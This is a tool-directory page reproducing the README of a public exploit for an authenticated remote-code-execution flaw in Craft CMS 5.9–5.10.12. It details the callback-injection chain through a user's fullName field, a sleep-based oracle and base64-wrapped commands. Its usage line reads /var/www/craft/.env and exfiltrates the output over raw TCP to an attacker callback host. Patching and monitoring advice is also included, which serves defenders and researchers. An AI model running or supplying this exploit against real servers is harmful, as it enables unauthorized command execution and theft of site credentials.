Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CraftCMS-CVE-2026-79987 — Independent public PoC for CVE-2026-79987 — Craft CMS 5.9.0–5.10.12 authenticated RCE. Patch-analysis n-day implementation, verified on vanilla lab. Advisory: GHSA-9c4j-cjw3-r3xx | Kitploit
Tools/GitHubGitHub/y3g1/craftcms-cve-2026-79987
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationWeb SecurityPenetration TestingRemote Access Tool
GitHub
y3g1/craftcms-cve-2026-79987

CraftCMS-CVE-2026-79987

Independent public PoC for CVE-2026-79987 — Craft CMS 5.9.0–5.10.12 authenticated RCE. Patch-analysis n-day implementation, verified on vanilla lab. Advisory: GHSA-9c4j-cjw3-r3xx

View Repository
1 month agoNot yet reviewed
Share

CraftCMS CVE-2026-79987 — Authenticated RCE

Public PoC for CVE-2026-79987 (Craft CMS): a Control Panel user with only the accessCp permission can execute operating-system commands as the PHP web worker, via ElementSearchController::actionSearch() accepting criteria.with[*].when — Craft copies it into EagerLoadPlan::$when, and array_filter() invokes it as a PHP callback. Setting when=system and placing a command in the attacker's own fullName results in system((string)$currentUser).

Vulnerable range: 5.9.0 – 5.10.12 (typed ?Closure guard was dropped in 5.9 and restored in 5.10.13 — vendor advisory GHSA-9c4j-cjw3-r3xx). The vulnerability was found and disclosed by the original researcher credited in the vendor advisory; this repo is an independent n-day exploit implementation developed from patch analysis (diff 5.10.12 → 5.10.13). No public exploit existed at the time of publishing.

✅ Verified end-to-end on a vanilla Craft 5.10.12 lab (see PROOF.md): login → oracle → payload install → OS command output exfiltrated over raw TCP.

Why this target is stubborn (and what the exploit does about it)

  1. The payload field is the attacker's own profile fullName, which the CP HTML-escapes. → The command is base64-wrapped and decoded by bash on the server.
  2. Different Craft builds accept different save-actions for the profile (users/save-user, elements/save, JSON, …). → Phase A probes five save-variants and selects the working one with a time-based oracle: save fullName='sleep 6', trigger the vulnerable search, response time > 5 s means the field became executable. No guessing — the tool proves the write primitive before installing the payload.
  3. Output exfiltration uses bash /dev/tcp — raw TCP, not HTTP. → The tool ships its own raw-TCP sink (a plain HTTP listener would receive nothing).

Usage

python3 craft_rce.py --url http://target --user lowpriv --password 'P@ss' \
                     --callback 10.10.14.5:9999 'cat /var/www/craft/.env'

# python3 stdlib only — no dependencies

Reproduce the lab

docker compose up -d   # vanilla Craft 5.10.12 + MariaDB on :8080
# complete the setup wizard (driver mysql, host db, db user/pass from compose), then:
python3 craft_rce.py --url http://127.0.0.1:8080 --user admin --password '...' \
                     --callback <your-docker0-ip>:9999 'id'

Affected / prerequisites

  • Craft CMS 5.9.0 – 5.10.12 (fixed in 5.10.13, GHSA-9c4j-cjw3-r3xx)
  • Any CP account with accessCp (no admin, no user management) — per vendor advisory
  • TCP egress from the web worker to your callback host (for /dev/tcp exfil)

Defense

  • Update to 5.10.13+ immediately if on 5.9–5.10.12.
  • Treat every CP account as privileged: accessCp alone is code execution on vulnerable builds.
  • Monitor admin/actions/element-search/search requests containing criteria.with and unusual fullName values (base64 blobs, sleep N).
  • Egress-filter the PHP worker: raw outbound TCP is abnormal for CMS web workers.

Legal

For authorized security testing only. The CVE is publicly documented (NVD / vendor advisory); this is an independent implementation of the publicly described vulnerability.

Credits

  • Vulnerability discovery & disclosure: original researcher — see vendor advisory GHSA-9c4j-cjw3-r3xx (https://github.com/craftcms/cms/security/advisories/GHSA-9c4j-cjw3-r3xx) and NVD entry for CVE-2026-79987 (https://nvd.nist.gov/vuln/detail/CVE-2026-79987)
  • This PoC: original implementation, independently developed from patch analysis; validated on a stock install (PROOF.md)
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    786
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    506
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    429
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    345
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    262
  • 6

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    256

Explore all tools

Browse our collection of tools

View all tools →